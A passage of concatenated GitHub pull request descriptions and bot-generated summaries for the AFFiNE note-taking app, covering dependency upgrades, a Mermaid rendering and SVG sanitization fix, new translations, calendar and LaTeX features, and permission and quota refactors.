[actions/github-script](https://redirect.github.com/actions/github-script)
| action | major | `v8` → `v9` |
---
### Release Notes
<details>
<summary>actions/github-script (actions/github-script)</summary>
###
[`v9.0.0`](https://redirect.github.com/actions/github-script/releases/tag/v9.0.0)
[Compare
Source](https://redirect.github.com/actions/github-script/compare/v9.0.0...v9.0.0)
**New features:**
- **`getOctokit` factory function** — Available directly in the script
context. Create additional authenticated Octokit clients with different
tokens for multi-token workflows, GitHub App tokens, and cross-org
access. See [Creating additional clients with
`getOctokit`](https://redirect.github.com/actions/github-script#creating-additional-clients-with-getoctokit)
for details and examples.
- **Orchestration ID in user-agent** — The `ACTIONS_ORCHESTRATION_ID`
environment variable is automatically appended to the user-agent string
for request tracing.
**Breaking changes:**
- **`require('@​actions/github')` no longer works in scripts.**
The upgrade to `@actions/github` v9 (ESM-only) means
`require('@​actions/github')` will fail at runtime. If you
previously used patterns like `const { getOctokit } =
require('@​actions/github')` to create secondary clients, use the
new injected `getOctokit` function instead — it's available directly in
the script context with no imports needed.
- `getOctokit` is now an injected function parameter. Scripts that
declare `const getOctokit = ...` or `let getOctokit = ...` will get a
`SyntaxError` because JavaScript does not allow `const`/`let`
redeclaration of function parameters. Use the injected `getOctokit`
directly, or use `var getOctokit = ...` if you need to redeclare it.
- If your script accesses other `@actions/github` internals beyond the
standard `github`/`octokit` client, you may need to update those
references for v9 compatibility.
##### What's Changed
- Add ACTIONS\_ORCHESTRATION\_ID to user-agent string by
[@​Copilot](https://redirect.github.com/Copilot) in
[#​695](https://redirect.github.com/actions/github-script/pull/695)
- ci: use deployment: false for integration test environments by
[@​salmanmkc](https://redirect.github.com/salmanmkc) in
[#​712](https://redirect.github.com/actions/github-script/pull/712)
- feat!: add getOctokit to script context, upgrade
[@​actions/github](https://redirect.github.com/actions/github) v9,
[@​octokit/core](https://redirect.github.com/octokit/core) v7, and
related packages by
[@​salmanmkc](https://redirect.github.com/salmanmkc) in
[#​700](https://redirect.github.com/actions/github-script/pull/700)
##### New Contributors
- [@​Copilot](https://redirect.github.com/Copilot) made their
first contribution in
[#​695](https://redirect.github.com/actions/github-script/pull/695)
**Full Changelog**:
<https://github.com/actions/github-script/compare/v8.0.0...v9.0.0>
###
[`v9`](https://redirect.github.com/actions/github-script/compare/v8...v9)
[Compare
Source](https://redirect.github.com/actions/github-script/compare/v8.0.0...v9.0.0)
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDkuMCIsInVwZGF0ZWRJblZlciI6IjQzLjIwOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
fix#14979
[Bug]: mermaid transparent text in light theme
## Summary
Mermaid diagram preview in code blocks showed shapes and connectors but
no node or edge labels, with poor contrast in dark mode. This change
fixes rendering, sanitization, and display so labels are visible in both
light and dark themes.
## Root cause
1. **Mermaid 11 config** — `flowchart.htmlLabels: false` is ignored;
only root-level `htmlLabels` applies. Labels were still emitted in
`<foreignObject>`.
2. **SVG sanitization** — `sanitizeSvg()` removed all `foreignObject`
elements (and did not allow `<use>`), stripping most label content.
3. **Theme mismatch** — Preview always used Mermaid’s light `default`
theme while the preview panel follows AFFiNE light/dark, causing dark
text on dark backgrounds for edge and title text.
4. **Embedded CSS** — Mermaid’s inline SVG styles often do not apply
after sanitization, leaving text without a visible `fill`.
## Changes
### Classic renderer (`classic-mermaid.ts`)
- Set root-level `htmlLabels: false` (Mermaid 11+).
- Map `dark` theme to Mermaid’s built-in `dark` palette.
### Sanitization (`bridge.ts`)
- Allow `<use>` and `xlink:href` / `href` for label references.
- Allow `class`, `style`, and `id` on SVG nodes.
- **Sanitize** `foreignObject` inner HTML with DOMPurify instead of
deleting it.
### Preview UI (`mermaid-preview.ts`)
- Sync render theme with app `data-theme` (`default` / `dark`) and
re-render on theme change.
- Add CSS overrides so `text` / `tspan` and HTML inside `foreignObject`
use AFFiNE `text/primary`.
### Native / mobile (`preview.rs`)
- Map `dark` and `modern` themes to the modern renderer options (light
uses `default`).
### Types & tests
- Extend `MermaidRenderTheme` with `'dark'`.
- Update unit tests for sanitization and classic config.
- Add integration test (skips when the test environment cannot lay out
Mermaid).
## Test plan
- [ ] Hard refresh or restart `yarn dev`.
- [ ] Create a `mermaid` code block: `graph TD; A-->B` → enable
**Preview**.
- [ ] Confirm labels **A** and **B** appear inside nodes and on the
edge.
- [ ] Toggle AFFiNE **light** / **dark** theme; confirm preview updates
and text stays readable.
- [ ] Run unit tests:
```bash
yarn vitest run
packages/frontend/core/src/modules/code-block-preview-renderer/
```
- [ ] (Optional) With **Enable Native Mermaid Renderer** enabled in
experimental settings, repeat the manual check.
## Notes for reviewers
- Security: `foreignObject` content is sanitized with the HTML profile;
scripts are stripped.
- The integration test intentionally skips when Mermaid produces an
empty diagram (e.g. happy-dom without full browser layout).
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Mermaid diagrams now adapt to the app's dark or light theme and update
in real time.
* **Improvements**
* SVG sanitization now preserves diagram labels and foreignObject text
while removing unsafe content.
* Classic Mermaid rendering adjusted to keep text labels intact for
previews.
* **Tests**
* Added unit and integration tests covering Mermaid rendering and SVG
sanitization.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #15068** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Upgraded Vitest across packages to 4.1.8 and bumped Tailwind PostCSS
to 4.3.0
* CLI/tooling updated to support the media-capture-playground package
and adjust build/dev server behavior
* **Bug Fixes**
* Improved workspace deletion reliability in the Electron app
* **Refactor**
* Simplified media capture playground build setup (build/config
adjustments)
* **Tests**
* Made tests more robust by preserving/restoring environment state
during runs
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Description
Fixes keyboard shortcuts for text formatting (Ctrl+B, Ctrl+I, Ctrl+U,
etc.) not working inside table cells.
## Changes
- **Modified `table-cell.ts`**: Updated the `_handleKeyDown` method to
only prevent default behavior for Tab key and allow other keyboard
events to propagate, enabling text formatting shortcuts to work properly
- **Created `table-keymap.ts`**: New module that registers the
`textKeymap` for table blocks, ensuring text formatting shortcuts are
available in table cells
- **Updated `view.ts`**: Registered the `TableKeymapExtension` in the
table view extension setup
- **Cleaned up `format.ts`**: Removed unnecessary `TextSelection` check
that was preventing shortcuts from working in table contexts
## Closes
Closes#13916#12127
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved Tab key handling within table cells for more consistent
keyboard navigation.
* Simplified read-only detection for keyboard shortcuts to avoid
unexpected behavior.
* **Refactor**
* Reworked table keyboard mapping and registration to streamline
shortcut handling and event flow.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR implements [feature request] #14845
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Add-block control that appears when hovering blocks in page mode to
insert and auto-focus a new paragraph; control hides after insertion.
* **Improvements**
* Improved hover and interaction handling to avoid accidental triggers
when interacting with the drag handle or add-block control.
* Consistent sizing, positioning, and visibility behavior for the
add-block control.
* **Style**
* Moved heading icon slightly for improved visual alignment.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Sign-in flows now reliably propagate richer authentication results
(user data and session type), improving persistence and reducing
intermittent sign-in issues.
* Native token handling gains a fallback for environments without
encrypted storage, improving session reliability.
* **New Features**
* User-visible warning when sign-in is session-only because encrypted
storage is unavailable.
* **Chores**
* Tooling ignore patterns updated to exclude .codex.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #15059** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Configurable minimum account age before new accounts can invite
members or create share links (default: 24 hours).
* Sign-in now returns and caches user info for improved session
handling.
* **Bug Fixes**
* Queue handling accepts and resolves job IDs with special characters.
* Improved clipboard/rich-text caret handling and nested-list paste
reliability.
* Calendar tests use dynamic current-month dates.
* AI search returns explicit "No matching documents" when none found.
* Auth session responses are explicitly non-cacheable.
* **Chores**
* Dependency and toolchain bumps; admin UI config/schema exposes the new
account-age setting.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Description
Fixes: #15038 — MCP keyword_search tool errors with "Unexpected response
type" when no results are found.
### Problem
When the MCP `keyword_search` tool returns no matching documents, the
access control `.docs()` method may return `undefined`/`null` for an
empty input array. Calling `.map()` on this value throws an error, and
the MCP framework wraps it as "Unexpected response type".
### Solution
Added a guard check after the permission filtering step. If the result
is empty or null, the tool now returns a proper informational response
instead of throwing.
### Changes
- `packages/backend/server/src/plugins/copilot/mcp/provider.ts`: Added
null/empty check before `docs.map()` in the keyword_search tool execute
function.
### Testing
- **Before**: `keyword_search` with a non-existent keyword throws
"Unexpected response type"
- **After**: `keyword_search` with a non-existent keyword returns `{
content: [{ type: 'text', text: 'No matching documents found.' }] }`
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Prevented errors when document data is missing, improving search
stability.
* Improved search feedback by displaying a clear "No matching documents
found." message instead of empty results.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#15027
#### PR Dependency Tree
* **PR #15061** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved handling of missing release notes during upgrade checks. The
changelog field now defaults to an empty value when release information
is unavailable.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR contains the following updates:
| Package | Update | Change |
|---|---|---|
|
[RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm)
| minor | `from: "5.74.0"` → `from: "5.75.0"` |
---
### Release Notes
<details>
<summary>RevenueCat/purchases-ios-spm
(RevenueCat/purchases-ios-spm)</summary>
###
[`v5.75.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.74.0...5.75.0)
[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.74.0...5.75.0)
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMDIuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIwMi4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
#### PR Dependency Tree
* **PR #15044** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Stop sending notifications to disabled users; skip member invites when
workspace names contain URLs/domains
* Improve mail retry handling (per-recipient exhaustion, expiry, and
cache cleanup)
* Make many email headers/lead lines more generic and consistent
* Fail-safe workspace content parsing to avoid crashes
* **New Features**
* 24-hour signup protection for sharing, invites, and invite-link
creation
* Job-queue: remove jobs by payload predicate
* **Tests**
* Expanded tests for mail jobs, SMTP hostname handling, payment
checkout, job-queue removal, and abuse-detection utilities
* Updated test fixtures to set createdAt timestamps for new users
* **Chores**
* Added required name input for test-email mutation
* Database flush retry with deadlock detection/backoff
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15044?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Summary
This PR completes the missing Simplified Chinese (`zh-Hans`) i18n
resource coverage.
The current i18n completeness calculation is based on key coverage
between `en.json` and each locale resource file. Before this change,
`zh-Hans.json` contained 2331 keys while `en.json` contained 2406 keys,
resulting in a displayed completeness of 97%.
This change adds the 75 missing `zh-Hans` translation entries and
updates the generated completeness value for `zh-Hans` from 97% to 100%.
## Changes
- Added 75 missing Simplified Chinese translations to
`packages/frontend/i18n/src/resources/zh-Hans.json`.
- Updated `packages/frontend/i18n/src/i18n-completenesses.json` so
`zh-Hans` now reports 100% completeness.
- Kept the scope limited to missing i18n resource keys only.
## Notes
This PR does not modify existing `zh-Hans` translations, terminology
choices, or hardcoded English UI strings outside the i18n resource
files.
## Verification
- Confirmed `zh-Hans.json` parses successfully.
- Confirmed `zh-Hans.json` now has full key coverage against `en.json`.
- Confirmed missing key count is 0.
- Confirmed computed `zh-Hans` completeness is 100%.
- Ran pre-commit checks:
- `yarn lint-staged`
- `yarn lint:ox`
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Completed Chinese (Simplified) translations with 100% coverage for the
application.
* Added new translations across multiple areas: appearance and image
settings, export functionality, document import from Bear and Obsidian,
analytics and viewer information, editor settings including auto-date
titles and icon options, workspace sharing controls, calendar
integration with CalDAV support, share menu tooltips, and comprehensive
error messages.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15032?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This pull request introduces support for the Turkish language to the
frontend internationalization system and adds a new pull request
template to standardize PR descriptions. The main changes are grouped
below:
**Internationalization: Turkish Language Support**
* Added `'tr'` (Turkish) to the `Language` type and
`SUPPORTED_LANGUAGES` object in `index.ts`, including its display name,
native name, flag emoji, and resource loader.
[[1]](diffhunk://#diff-ba5f665c3490d0f5acb2cb70f08314c5373137fa8085ab05175047f10cb7fdf8L26-R27)
[[2]](diffhunk://#diff-ba5f665c3490d0f5acb2cb70f08314c5373137fa8085ab05175047f10cb7fdf8R183-R188)
* Updated `i18n-completenesses.json` to include Turkish (`"tr": 6`).
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Turkish language can now be selected in the app.
* **Localization**
* Initial Turkish translations added and translation completeness set to
100%.
* Locale metadata added (display name, original name, flag) for Turkish.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15000?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR adds a display toggle for Page Emoji, so users can choose
whether the add emoji option is shown in the page header when no emoji
is set.
What changed
read editor setting for display add icon option
hide emoji placeholder entry when the setting is disabled
keep existing behavior for readonly mode and for pages that already have
an emoji
Why
This implements the feature request to control Page Emoji visibility and
improves header cleanliness for users who prefer a minimal UI.
Issue
Closes#14093
<img width="1277" height="726" alt="Screenshot 2026-05-19 at 3 44 14 PM"
src="https://github.com/user-attachments/assets/caa29272-35c0-410d-bd54-2e038e4e0db2"
/>
<img width="1511" height="779" alt="Screenshot 2026-05-19 at 3 44 35 PM"
src="https://github.com/user-attachments/assets/3504136a-d34c-45cc-992b-0056b018ff92"
/>
Testing
verified in editable mode:
setting ON: add emoji placeholder is visible when page has no emoji
setting OFF: add emoji placeholder is hidden when page has no emoji
verified in readonly mode:
no emoji: nothing shown
with emoji: existing emoji is shown
verified no regression for selecting/changing/removing emoji
Screenshots
I will attach screenshots in this section.
Quick rule checks before submit
Base branch is canary.
PR title follows conventional format: type(scope): subject.
Scope editor is valid for this repo.
Include Closes#14093 in the body.
Add your screenshots before creating or right after opening the PR.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added an editor setting to toggle whether the "add icon" option is
shown when creating new documents (default: enabled).
* **User Experience**
* When disabled, the add-icon trigger is hidden for documents that use a
placeholder icon; readonly display remains unchanged.
* **Tests**
* Updated tests to cover the new setting and toggle behavior.
* **Localization**
* Added translations and updated i18n typings and completeness metrics.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14999?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Closes#14994🇵🇰 Urdu Translation for Pakistani Users
## Summary
`ur.json` previously had only 31 of 2404 keys translated (~1%), leaving
most of the AFFiNE UI in English for Urdu-speaking users. This PR fills
in the remaining ~2400 keys so Pakistani / Urdu users get a fully
localized experience.
- `packages/frontend/i18n/src/resources/ur.json` — expanded from 31 →
2404 keys
- `packages/frontend/i18n/src/i18n-completenesses.json` — `ur: 2` → `ur:
100`
Existing hand-translated keys were preserved.
## Screenshots
<img width="1600" height="716" alt="image"
src="https://github.com/user-attachments/assets/1e3395b9-7cb0-44ba-a29f-a484419eb9fd"
/>
--------
<img width="1600" height="716" alt="image"
src="https://github.com/user-attachments/assets/f03cb1ac-dde8-4425-a898-c56acebe45b6"
/>
## Test plan
- [x] Switch app language to Urdu (اردو) in Settings → Appearance →
Language
- [x] Sidebar, top bar, calendar, doc list, settings panels all render
in Urdu
- [x] RTL layout flows correctly
- [x] Prettier + lint clean
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Localization**
* Urdu language support is now fully available across the application,
including translated UI text and locale-specific content.
* Users can select Urdu as their preferred language and experience
consistent translations and messaging throughout the product.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14995?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14996** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Admin mutations to grant/revoke commercial entitlements.
* New Doc comment-update permission.
* Realtime user/workspace quota-state endpoints and live-update rooms.
* **Bug Fixes**
* More accurate readable-doc filtering and permission evaluation.
* **Refactor**
* Workspace feature management moved to entitlement-based model;
permission and quota pipelines redesigned.
* Admin workspace UI now edits flags only (feature toggles removed).
* **Tests**
* Extensive new and updated tests for permissions, entitlements, quota,
projection, and backfills.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14996?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#13663
#### PR Dependency Tree
* **PR #14984** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Calendar view for database blocks (month layout, entry cards,
external-source support)
* Workspace calendar integration and new slash-menu "Calendar View"
* **Improvements**
* Create/manage database rows from calendar UI; preserve durations when
moving/resizing ranges
* Drag-and-drop, drop-preview, and hit-testing support for calendar and
docs
* Redesigned in-menu View settings with multi-page navigation
* Context-menu input autofocus toggle and conditional back-navigation
* **Tests**
* New unit and E2E suites covering calendar layout, interactions,
sources, and slash-menu integration
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#13520
#### PR Dependency Tree
* **PR #14976** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Tests**
* Added comprehensive test coverage for markdown insertion functionality
to verify that existing document metadata remains unchanged when
importing markdown content into workspace documents.
* **Chores**
* Optimized internal markdown-to-snapshot conversion process to use a
more direct and efficient conversion approach.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14976)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14970** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Updated TLS library dependencies with pinned version constraints
across multiple packages
* Removed `tls-rustls` feature from sqlx configurations in backend and
frontend packages
* Removed unused `sqlx` dependency from mobile native package
* Refined HTTPS client configuration with embedded certificate roots and
added validation test
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14970)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14964** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added entitlement resolution to validate licenses and derive plan,
quotas, expiry and flags.
* Introduced persistent quota/entitlement state for users and workspaces
with legacy sync behavior.
* Real-time quota-state operations and change events for monitoring
usage.
* **Chores**
* Updated workspace dependencies to add cryptography/hash crates.
* **Tests**
* Added native entitlement tests covering validation, quantity handling,
and signature/expiry cases.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14964)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Summary
- support converting selected text into inline LaTeX equations
- support turning text blocks into LaTeX equation blocks
- add equation entries to editor toolbars while keeping inline equation
with text formatting actions
## Tests
- yarn tsc -b blocksuite/affine/inlines/latex/tsconfig.json
blocksuite/affine/blocks/note/tsconfig.json
blocksuite/affine/blocks/root/tsconfig.json
blocksuite/affine/rich-text/tsconfig.json
blocksuite/affine/widgets/keyboard-toolbar/tsconfig.json --pretty false
- git diff --check origin/canary...HEAD
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Equation block support with conversion from existing blocks.
* Inline LaTeX insertion added to the inline formatting toolbar.
* Equation action added to the keyboard toolbar; Equation blocks
searchable via math/equation/latex aliases.
* **Improvements**
* Inline LaTeX editor opens and syncs more reliably; selection/convert
flow preserves distinct LaTeX values when converting in reverse order.
* **Tests**
* New e2e tests for inline LaTeX conversions and value preservation.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14924)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14959** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Rewired realtime and copilot services to require their runtime
dependencies, improving reliability and removing nullable/optional
runtime paths.
* **Tests**
* Centralized service creation in tests with helper factories and added
checks ensuring realtime dependency injection is configured as expected.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14959)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14957** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Updated minimum Node version requirement to 22.12.0 or later.
* Updated build tool dependencies including rspack and related packages.
* Removed CI-specific logging behavior from development server.
* Migrated to native HTML plugin integration for improved build
efficiency.
* Simplified build configuration by removing unused experimental
options.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14957)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14956** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
## Release Notes
* **Bug Fixes**
* Improved Gemini Vertex provider configuration validation logic for
enhanced reliability.
* Refined Google Vertex publisher base URL construction handling.
* **Tests**
* Added test coverage for Gemini Embedding 2 model resolution.
* Added test coverage for Gemini Vertex provider Google Cloud
integration.
<!-- review_stack_entry_start -->
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14956)
<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14937** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Centralized AI event system and a runtime powering chat sessions and
actions.
* **Improvements**
* Chat UI (composer, messages, toolbar, tabs, panels) now syncs with
runtime snapshots for more consistent state.
* Improved session/tab lifecycle (create, fork, delete), context
embedding status, and history handling.
* More reliable send/stop/retry flows, better telemetry scoping, and
clearer upgrade/login/insert-template prompts.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14952** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Optimized workspace invite link fetching by separating it from general
workspace configuration queries for improved performance.
* Reorganized transcription-related backend modules to better separate
concerns and enable real-time functionality.
* **Chores**
* Updated generated GraphQL types and iOS query definitions to reflect
API changes.
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14952)
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fixes#14935
## Summary
The date picker had a hardcoded `_minYear = 1970` in
[`date-picker.ts`](blocksuite/affine/components/src/date-picker/date-picker.ts),
which prevented users from selecting dates earlier than 1970. This
blocked legitimate use cases like historical and genealogical research
(see the reporter's comment on #14935).
## Fix
Lower the date picker's `_minYear` from `1970` to `1000`. The underlying
storage is just a `zod.number()` (Unix timestamp in ms), which supports
negative values, so no data-layer or backend changes are required — this
is a UI-only constraint relaxation.
## Demo
<img width="2044" height="1250" alt="image"
src="https://github.com/user-attachments/assets/4b25b333-89c4-48e6-9f91-81781d680200"
/>
## Test plan
- [x] Insert a database in a doc → add a Date column
- [x] Click a date cell → open the picker → click the year label →
navigate back through decades
- [x] Confirm the calendar reaches years well before 1970 (verified at
May 1805)
- [x] Confirm the calendar correctly renders weekdays for historical
dates
- [x] Confirm picking a modern date still works as before
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Date picker now allows selecting dates from year 1000 onward,
expanding historical date coverage.
* **Bug Fixes**
* Navigation (month switches and keyboard arrows) now keeps the
selection cursor within the allowed year range, preventing out-of-range
jumps.
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14942)
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14936** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Refactor**
* Consolidated realtime subscription patterns for consistent, more
reliable live updates across comments, notifications, transcription
tasks, and embedding progress.
* Standardized realtime room naming and subscription keys for
deterministic delivery.
* **New Features**
* Introduced a reusable live-query mechanism powering realtime snapshot
+ event workflows used by comments, notifications, transcript tasks, and
embedding progress.
* **Tests**
* Added tests covering live-query behavior and deterministic
subscription key generation.
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14936)
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14933** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added draft tab option to AI chat interface
* Introduced "Current document" session history view in chat history
popover
* Added control to show/hide "New Chat" button
* **Improvements**
* Enhanced chat history preservation when switching between sessions
* Prevented duplicate session creation requests
* Improved message handling during session transitions and generation
[](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14933)
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14411fix#14909
Some CalDAV servers do not implement standard responses; add
compatibility for these servers.
#### PR Dependency Tree
* **PR #14930** 👈
This tree was auto-generated by
